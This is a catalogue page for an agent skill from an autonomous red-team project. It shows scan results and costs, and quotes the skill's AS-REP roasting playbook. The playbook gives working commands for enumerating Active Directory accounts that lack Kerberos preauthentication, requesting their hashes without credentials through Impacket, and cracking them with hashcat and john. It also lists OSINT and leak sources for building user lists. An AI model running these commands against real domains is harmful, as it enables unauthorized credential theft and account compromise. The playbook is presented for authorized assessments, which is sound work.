Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill asrep-roastinggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/asrep-roasting)<a href="https://agentmods.dev/skills/purpleailab/decepticon/asrep-roasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/asrep-roasting.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 19 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00031 | $0.00970 |
| Opus 5 | $0.00015 | $0.00485 |
| Sonnet 5 | $0.00006 | $0.00194 |
| Haiku 4.5 | $0.00003 | $0.00097 |
Grade A, and why
asrep-roasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- asrep-roasting — 94% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AS-REP Roasting Playbook
Prerequisite
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
1. Identify vulnerable users
From BloodHound:
kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
2. Request AS-REP
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
3. Crack offline (hashcat mode 18200)
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
- Test / dev accounts with weak passwords
- Accounts created from a misconfigured PowerShell script
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
4. Userlist sources when zero-auth
Without LDAP, your userlist comes from:
kerbrute userenumagainst common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (
firstname.lastname,flastname) - Github commit emails from company orgs
- Email leaks (HIBP, Dehashed if op-authorized)
- Subdomain enumeration → username patterns in metadata
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 103 lines · 31 tokens per session scan A dec069e09edc
asrep-roasting is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 31 tokens to every session and 970 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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secretary
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